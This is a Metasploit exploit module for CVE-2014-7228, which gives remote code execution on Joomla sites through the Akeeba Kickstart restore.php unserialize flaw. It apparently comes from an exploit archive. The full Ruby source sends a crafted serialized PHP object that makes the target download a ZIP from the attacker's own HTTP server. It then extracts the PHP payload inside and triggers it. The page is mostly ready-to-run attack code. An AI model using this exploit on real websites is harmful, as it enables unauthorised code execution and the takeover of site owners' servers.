Joomla Akeeba Kickstart Unserialize Remote Code Execution

2014-10-21 18:05:04

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'
require 'json'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
component, which is responsible for Joomla! updates. Nevertheless it is worth to note
that this vulnerability is only exploitable during the update of the Joomla! CMS.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Johannes Dahse', # Vulnerability discovery
'us3r777 <us3r777[at]n0b0.so>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2014-7228' ],
[ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],
[ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],
[ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Privileged' => false,
'DisclosureDate' => "Sep 29 2014",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5])
], self.class)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
)

if res && res.code == 200
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def primer
srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"

php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
php_filename = rand_text_alpha(8 + rand(8)) + '.php'

# Create the zip archive
print_status("Creating archive with file #{php_filename}")
zip_file = Rex::Zip::Archive.new
zip_file.add_file(php_filename, payload.encoded)
@zip = zip_file.pack

# First step: call restore to run _prepare() and get an initialized AKFactory
print_status("#{peer} - Sending PHP serialized object...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
'vars_get' => {
'task' => 'stepRestore',
'factory' => Rex::Text.encode_base64(php_serialized_akfactory)
}
})

unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
print_status("#{res.code}\n#{res.body}")
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
end

# Second step: modify the currentPartNumber within the returned serialized AKFactory
json = /###(.*)###/.match(res.body)[1]
begin
b64encoded_prepared_factory = JSON.parse(json)['factory']
rescue JSON::ParserError
fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
end

prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')

print_status("#{peer} - Sending initialized and modified AKFactory...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
'vars_get' => {
'task' => 'stepRestore',
'factory' => Rex::Text.encode_base64(modified_factory)
}
})

unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
end

register_files_for_cleanup(php_filename)

print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
}, 2)

end

def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, this is raised
end
end

# Handle incoming requests from the server
def on_request_uri(cli, request)
if @zip && request.uri =~ /\.zip$/
print_status("Sending the ZIP archive...")
send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
return
end

print_status("Sending not found...")
send_not_found(cli)
end

end

Fixes

No fixes

In order to submit a new fix you need to be registered.